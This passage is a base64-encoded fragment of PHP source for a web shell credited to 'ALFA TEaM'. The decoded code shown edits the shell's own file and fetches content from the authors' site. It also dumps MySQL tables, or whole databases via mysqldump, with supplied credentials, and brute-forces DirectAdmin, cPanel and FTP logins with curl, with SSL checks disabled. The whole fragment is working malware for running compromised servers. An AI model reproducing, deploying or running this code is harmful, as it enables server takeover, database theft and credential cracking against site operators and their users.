jaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kZmlsZS4nXCcsIFwnZG93bmxvYWRcJykiPjxmb250IGNvbG9yPSIjMEYwIj5Eb3dubG9hZCBDb25maWc8L2ZvbnQ+PC9hPjwvY2VudGVyPjwvcD48L2gzPicpOwoJfQp9CmlmKCRfUE9TVFsnYWxmYTInXT09Jz4+Jyl7CgllY2hvIF9fcHJlKCk7CgkkY29sb3JzID0ganNvbl9kZWNvZGUoJF9QT1NUWyJhbGZhMSJdLHRydWUpOwoJJGFycmF5ID0gIiI7CgkkaXNfZGVmYXVsdCA9IGlzc2V0KCRfUE9TVFsiYWxmYTMiXSkmJiRfUE9TVFsiYWxmYTMiXT09IjEiP3RydWU6ZmFsc2U7CgkkZ2xvYl9jb2xvcnMgPSAkR0xPQkFMU1siX19BTEZBX0NPTE9SX18iXTsKCWZvcmVhY2goJGdsb2JfY29sb3JzIGFzICRrID0+ICR2KXsKCQlpZihpc3NldCgkY29sb3JzWyRrXSkmJiFlbXB0eSgkY29sb3JzWyRrXSkmJiEkaXNfZGVmYXVsdCl7CgkJCSR2ID0gdHJpbSgkY29sb3JzWyRrXSk7CgkJfWVsc2V7CgkJCSR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTsKCQl9CgkJJGFycmF5IC49ICciJy50cmltKCRrKS4nIiA9PiAiJy4kdi4nIiwnOwoJfQoJQGNoZGlyKCRHTE9CQUxTWydob21lX2N3ZCddKTsKCSRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7CgkkZGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkYmFzZW5hbWUpOwoJJGNvbG9yID0gJy9cJ2NvbG9yXCcoLio/KVwpLC9zJzsKCWlmKHByZWdfbWF0Y2goJGNvbG9yLCRkYXRhLCRlKSl7CgkJJG5ldyA9ICInY29sb3InID0+IGFycmF5KCIuJGFycmF5LiIpLCI7CgkJJGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTsKCQlpZihAZmlsZV9wdXRfY29udGVudHMoJGJhc2VuYW1lLCAkZGF0YSkpewoJCQllY2hvKCI8Y2VudGVyPjxwPjxoMz5bK10gU3VjY2Vzcy4uLjwvaDM+PC9wPjwvY2VudGVyPjxzY3JpcHQ+bG9jYXRpb24ucmVsb2FkKCk7PC9zY3JpcHQ+Iik7CgkJfWVsc2V7CgkJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlstXSBXZSBOb3QgaGF2ZSBwZXJtaXNzaW9uIHRvIEVkaXQgc2hlbGwuLi4hPC9oMz48L3A+PC9jZW50ZXI+Iik7CgkJfQoJfWVsc2V7CgkJZWNobygiPGNlbnRlcj48cD48aDM+Wy1dIEVycm9yLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpOwoJfQp9Cn0KZWNobygnPC9kaXY+Jyk7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhYWJvdXR1cygpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPic7CiRuZXdzID0gbmV3IEFsZmFDVVJMKCk7CiRhYm91dF91cyA9ICRuZXdzLT5TZW5kKCJodHRwOi8vc29sZXZpc2libGUuY29tL2Fib3V0dXMucGhwIik7CmlmKGVtcHR5KCRhYm91dF91cykpewokYWJvdXRfdXMgPSAiPHByZT48Y2VudGVyPjxpbWcgc3JjPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZyc+PGJyPgo8Yj48Zm9udCBzaXplPScrMycgY29sb3I9JyMwMEEyMjAnPiYjOTc3NDsgfiBQRUFDRSB+ICYjOTc3NDs8L2ZvbnQ+PGJyPjxiPgo8Zm9udCBjb2xvcj0nIzAwQTIyMCc+U2hlbGwgQ29kZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGUgKEFMRkEgVEVhTSk8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nIzAwQTIyMCc+Q29udGFjdCA6IHNvbGV2aXNpYmxlQGdtYWlsLmNvbTwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbSBDaGFubmVsOiBAc29sZXZpc2libGU8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBlaHNhbi5pbnZpc2libGU8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBzb2xlLnNhZDwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjRkYwMDAwJz5QZXJzaWFuIEd1bGYgRm9yIEV2ZXI8L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SXJhbmlhbiBQcm9ncmFtbWVyczwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjRkYwMDAwJz4jIyMjIyMjIyMjIyM8L2ZvbnQ+PGJyPgo8L2NlbnRlcj48L3ByZT48aWZyYW1lIHNyYz0ndGc6Ly9yZXNvbHZlP2RvbWFpbj1zb2xldmlzaWJsZScgZnJhbWVib3JkZXI9JzAnIHdpZHRoPScwJyBoZWlnaHQ9JzAnPjwvaWZyYW1lPiI7Cn0KZWNobyBfX3ByZSgpLiRhYm91dF91czsKZWNobygnPC9kaXY+Jyk7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhY29sZHVtcGVyKCl7CmFsZmFoZWFkKCk7CmVjaG8oJzxkaXYgY2xhc3M9ImhlYWRlciI+Jyk7CkFsZmFOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTXlzcWwgQ29sdW1uIER1bXBlciB8PC9kaXY+PGJyPjxicj4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8Zm9ybSBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PVwidmFyIG9wdF9pZD10aGlzLmdldEF0dHJpYnV0ZSgnb3B0X2lkJyk7dmFyIGRlbGltaXRlcj0nanNvbic7dHJ5e2lmKCQoJ2R1bXBlci1kZWxpbWl0ZXItdHlwZScpLnZhbHVlID09ICdkZWxpbWl0ZXInKWRlbGltaXRlcj0kKCdkdW1wZXItZGVsaW1pdGVyLWlucHV0JykudmFsdWV9Y2F0Y2goZSl7fTtnKCdjb2xkdW1wZXInLG51bGwsZGVsaW1pdGVyLEpTT04uc3RyaW5naWZ5KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVtvcHRfaWRdKSx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsdWUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuZGZpbGUudmFsdWUsdGhpcy5kYl9ob3N0LnZhbHVlKTsgY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW29wdF9pZF0gPSB7fTtyZXR1cm4gZmFsc2U7XCI+PHA+IjsKJGRlbGltaXRlciA9ICghZW1wdHkoJF9QT1NUWydhbGZhMSddKSA/ICRfUE9TVFsnYWxmYTEnXSA6ICc6OicpOwokc2VsZWN0ZWRfZGF0YSA9IGpzb25fZGVjb2RlKCRfUE9TVFsnYWxmYTInXSwgdHJ1ZSk7CiR1c2VybmFtZSA9ICgkX1BPU1RbJ2FsZmEzJ10pOwokcGFzc3dvcmQgPSAoJF9QT1NUWydhbGZhNCddKTsKJGRibmFtZSA9ICgkX1BPU1RbJ2FsZmE1J10pOwokZGZpbGUgPSAoJF9QT1NUWydhbGZhNiddKTsKJGhvc3QgPSAoJF9QT1NUWydhbGZhNyddKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICRob3N0LCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICR1c2VybmFtZSwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJHBhc3N3b3JkLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAkZGJuYW1lLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnT3V0cHV0IFBhdGg6ICcsICdpbnB1dE5hbWUnID0+ICdkZmlsZScsICdpbnB1dFZhbHVlJyA9PiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSksICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnIG5hbWU9J1N1Ym1pdCc+PC9wPjwvZm9ybT48L2NlbnRlcj4iOwokZGIgPSBmYWxzZTsKaWYoIWVtcHR5KCRkYm5hbWUpKXsKCSRkYiA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRkYm5hbWUpOwp9CmlmKGNvdW50KCRzZWxlY3RlZF9kYXRhKSA+IDApewoJaWYoJGRiKXsKCQlpZighaXNfZGlyKCRkZmlsZSkpewoJCQkkZGZpbGUgPSAkR0xPQkFMU1snY3dkJ107CgkJfQoJCSR0YmxzID0gIiI7CgkJJGV4dCA9ICcudHh0JzsKCQlpZigkZGVsaW1pdGVyID09ICdqc29uJyl7CgkJCSRleHQgPSAnLmpzb24nOwoJCX0KCQlmb3JlYWNoICgkc2VsZWN0ZWRfZGF0YSBhcyAkdGJsID0+ICRjb2xzKSB7CgkJCSR0YWJsZXNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUICIuaW1wbG9kZSgnLCcsICRjb2xzKS4iIEZST00gJHRibCIpOwoJCQkkZmlsZV9uYW1lID0gJGRmaWxlLicvJy4kZGJuYW1lLicuJy4kdGJsLiRleHQ7CgkJCSRmcCA9IGZvcGVuKCRmaWxlX25hbWUsICJ3Iik7CgkJCSRkYXRhID0gYXJyYXkoKTsKCQkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheSgkdGFibGVzX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJCWlmKCRkZWxpbWl0ZXIgPT0gImpzb24iKXsKCQkJCQkkY29sX2FyciA9IGFycmF5KCk7CgkJCQkJZm9yZWFjaCAoJHJvdyBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCQkJCQlpZihlbXB0eSgkdmFsdWUpKXsKCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsKCQkJCQkJfQoJCQkJCQkgJGNvbF9hcnJbJGtleV0gPSAkdmFsdWU7CgkJCQkJfQoJCQkJCSRkYXRhWyR0YmxdW10gPSAkY29sX2FycjsKCQkJCX1lbHNlewoJCQkJCSRkYXRhID0gIiI7CgkJCQkJZm9yZWFjaCAoJHJvdyBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCQkJCQlpZihlbXB0eSgkdmFsdWUpKXsKCQkJCQkJCSR2YWx1ZSA9ICJbZW1wdHldIjsKCQkJCQkJfQoJCQkJCQkkZGF0YSAuPSAkdmFsdWUgLiAkZGVsaW1pdGVyOwoJCQkJCX0KCQkJCQlmd3JpdGUoJGZwLCAkZGF0YSAuIlxuIik7CgkJCQl9CgkJCX0KCQkJaWYoJGRlbGltaXRlciA9PSAianNvbiIpewoJCQkJZndyaXRlKCRmcCwganNvbl9lbmNvZGUoJGRhdGEpKTsKCQkJfQoJCQlmY2xvc2UoJGZwKTsKCQkJJHRibHMgLj0gIkRvbmUgfn5+PiAiLiRmaWxlX25hbWUuIjxicj4iOwoJCX0KCQllY2hvIF9fcHJlKCk7CgkJZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj0nIzAwRkYwMCc+Ii4kdGJscy4iPC9mb250PjwvY2VudGVyPiI7Cgl9Cn0KaWYoIWVtcHR5KCRkYm5hbWUpICYmIGNvdW50KCRzZWxlY3RlZF9kYXRhKSA9PSAwKXsKLy9lY2hvIF9fcHJlKCk7CmlmKCRkYil7CgllY2hvKCI8aHI+PGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbTo1cHg7Zm9udC13ZWlnaHQ6Ym9sZGVyOyc+PHNwYW4+WyBTZWxlY3QgeW91ciB0YWJsZXMgYW5kIGNvbHVtbnMgZm9yIGR1bXBpbmcgZGF0YSBdPC9zcGFuPjwvZGl2PiIpOwoJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48c3Bhbj5PdXRwdXQgVHlwZTogPC9zcGFuPjxzZWxlY3QgaWQ9J2R1bXBlci1kZWxpbWl0ZXItdHlwZScgb25jaGFuZ2U9J2NvbER1bXBsZXJTZWxlY3RUeXBlKHRoaXMpOycgbmFtZT0nb3V0cHV0X3R5cGUnPjxvcHRpb24gdmFsdWU9J2RlbGltaXRlcicgc2VsZWN0ZWQ+ZGVsaW1pdGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nanNvbic+anNvbjwvb3B0aW9uPjwvc2VsZWN0PjxkaXYgaWQ9J2NvbGR1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSdkaXNwbGF5OmlubGluZTsnPjxzcGFuPiBEZWxpbWl0ZXI6IDwvc3Bhbj48aW5wdXQgaWQ9J2R1bXBlci1kZWxpbWl0ZXItaW5wdXQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHR5cGU9J3RleHQnIG5hbWU9J2RlbGltaXRlcicgcGxhY2Vob2xkZXI9J2VnOiAsJz48L2Rpdj48L2Rpdj4iKTsKCSRkYXRhID0gYXJyYXkoKTsKCSR0YWJsZXNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9IGRhdGFiYXNlKCk7Iik7Cgl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCR0YWJsZXNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCSRkYXRhWyRyb3dbInRhYmxlX25hbWUiXV0gPSBhcnJheSgpOwoJCSR0YWJsZV9jb3VudF9xID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCBjb3VudCgqKSBGUk9NIGAiLiRyb3dbJ3RhYmxlX25hbWUnXS4iYCIpOwoJCSR0YWJsZV9jb3VudCA9IG15c3FsaV9mZXRjaF9yb3coJHRhYmxlX2NvdW50X3EpOwoJCSRkYXRhWyRyb3dbInRhYmxlX25hbWUiXV1bImRhdGFfY291bnQiXSA9ICR0YWJsZV9jb3VudFswXTsKCQkkY29sdW1uc19xdWVyeSA9IG15c3FsaV9xdWVyeSgkZGIsICJTRUxFQ1QgY29sdW1uX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9uYW1lID0gJyIuJHJvd1sndGFibGVfbmFtZSddLiInIik7CgkJd2hpbGUoJHJvdzIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dWyJjb2xzIl1bXSA9ICRyb3cyWyJjb2x1bW5fbmFtZSJdOwoJCX0KCX0KCW15c3FsaV9jbG9zZSgkZGIpOwoKCWVjaG8gJzx1bCBpZD0ibXlVTCI+JzsKCWZvcmVhY2goJGRhdGEgYXMgJHRibCA9PiAkY29scyl7CgkgICAgZWNobyAnPGxpPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBGRjAwOyIgY2xhc3M9ImJveCI+Jy4kdGJsLicgKCcuJGNvbHNbImRhdGFfY291bnQiXS4nKTwvc3Bhbj48dWwgY2xhc3M9Im5lc3RlZCI+JzsKCSAgICBmb3JlYWNoKCRjb2xzWyJjb2xzIl0gYXMgJGNvbCl7CgkgICAgICAgIGVjaG8gJzxsaSB0Ymw9IicuJHRibC4nIj48c3BhbiBzdHlsZT0iY29sb3I6IzAwRkYwMDsiIHRibD0iJy4kdGJsLiciIGNsYXNzPSJib3ggc3ViLWJveCI+JyAuICRjb2wgLiAnPC9zcGFuPjwvbGk+JzsKCSAgICB9CgkgICAgZWNobyAnPC91bD48L2xpPic7Cgl9CgllY2hvICc8L3VsPic7Cn1lbHNlewplY2hvKCc8Y2VudGVyPm15c3FsaV9jb25uZWN0IDogRXJyb3IhPC9jZW50ZXI+Jyk7Cn0KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFEdW1wZXIoKXsKYWxmYWhlYWQoKTsKZWNobygnPGRpdiBjbGFzcz0iaGVhZGVyIj4nKTsKQWxmYU51bSg4LDksMTApOwplY2hvICI8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeXNxbCBEYXRhYmFzZSBEdW1wZXIgfDwvZGl2Pjxicj48YnI+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cImcoJ2R1bXBlcicsbnVsbCxudWxsLG51bGwsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmRmaWxlLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj48cD4iOwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0R1bXAgUGF0aDogJywgJ2lucHV0TmFtZScgPT4gJ2RmaWxlJywgJ2lucHV0VmFsdWUnID0+IGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nYWxmYS5zcWwnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKJHVzZXJuYW1lID0gKCRfUE9TVFsnYWxmYTMnXSk7CiRwYXNzd29yZCA9ICgkX1BPU1RbJ2FsZmE0J10pOwokZGJuYW1lID0gKCRfUE9TVFsnYWxmYTUnXSk7CiRkZmlsZSA9ICgkX1BPU1RbJ2FsZmE2J10pOwokaG9zdCA9ICgkX1BPU1RbJ2FsZmE3J10pOwppZighZW1wdHkoJGRibmFtZSkpewplY2hvIF9fcHJlKCk7CiRtc2cgPSAiPGNlbnRlcj5DaGVjayB0aGlzIDogIDxmb250IGNvbG9yPSdyZWQnPiIuJGRmaWxlLiI8L2ZvbnQ+PC9jZW50ZXI+IjsKaWYoQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRibmFtZSkpewppZihzdHJsZW4oYWxmYUV4KCJteXNxbGR1bXAiKSk+MCl7CmFsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiRob3N0XCIgLS11c2VyPVwiJHVzZXJuYW1lXCIgLS1wYXNzd29yZD1cIiRwYXNzd29yZFwiICRkYm5hbWUgPiAnIi5hZGRzbGFzaGVzKCRkZmlsZSkuIiciKTsKZWNobygkbXNnKTsKfWVsc2V7Cl9fYWxlcnQoIkVycm9yLi4uISIpOwp9Cn1lbHNlewplY2hvKCc8Y2VudGVyPm15c3FsaV9jb25uZWN0IDogRXJyb3IhPC9jZW50ZXI+Jyk7Cn0KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIEFsZmFfRGlyZWN0QWRtaW5fQ3JhY2tlcigkaW5mbyl7CmlmKCEkaW5mb1snbXlzcWwnXSkKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXS4nL0NNRF9MT0dJTic7CmVsc2UgJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nL3BocG15YWRtaW4nOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCR1cmwpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSUFdELCAkaW5mb1sndXNlcm5hbWUnXS4nOicuJGluZm9bJ3Bhc3N3b3JkJ10pOwppZigkaW5mb1snbXlzcWwnXSljdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQU5ZKTsKJHJlc3VsdCA9IEBjdXJsX2V4ZWMoJGN1cmwpOwokY3VybF9lcnJubyA9IGN1cmxfZXJybm8oJGN1cmwpOwokY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGN1cmwpOwppZiAoJGN1cmxfZXJybm8gPiAwKSB7ZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RXJyb3I6ICRjdXJsX2Vycm9yPC9mb250Pjxicj4iO30KZWxzZWlmKHByZWdfbWF0Y2goJy9DTURfRklMRV9NQU5BR0VSfGZyYW1lc2V0L2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBBbGZhX0NQX0NyYWNrZXIoJGluZm8pewokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddLic6Jy4kaW5mb1sncG9ydCddOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgiQXV0aG9yaXphdGlvbjogQmFzaWMgIiAuIF9fWlc1amIyUmxjZygkaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10pIC4gIlxuXHIiKSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwgJHVybCk7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvZmlsZW1hbmFnZXIvaScsJHJlc3VsdCkpewplY2hvICdVc2VyTmFtZTogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sndXNlcm5hbWUnXS4nPC9mb250PiBQYXNzV29yZDogPGZvbnQgY29sb3I9InJlZCI+Jy4kaW5mb1sncGFzc3dvcmQnXS4nPC9mb250Pjxmb250IGNvbG9yPSJncmVlbiI+ICBMb2dpbiBTdWNjZXNzLi4uLjwvZm9udD48YnI+JzsKJGluZm9bJ3RhcmdldCddID0gJHVybDsKQ3JhY2tlclJlc3VhbHQoJGluZm8pOwp9CmN1cmxfY2xvc2UoJGN1cmwpOwp9CmZ1bmN0aW9uIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8pewokdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddOwokY3VybCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJQV0QsICIiLiRpbmZvWyd1c2VybmFtZSddLiI6Ii4kaW5m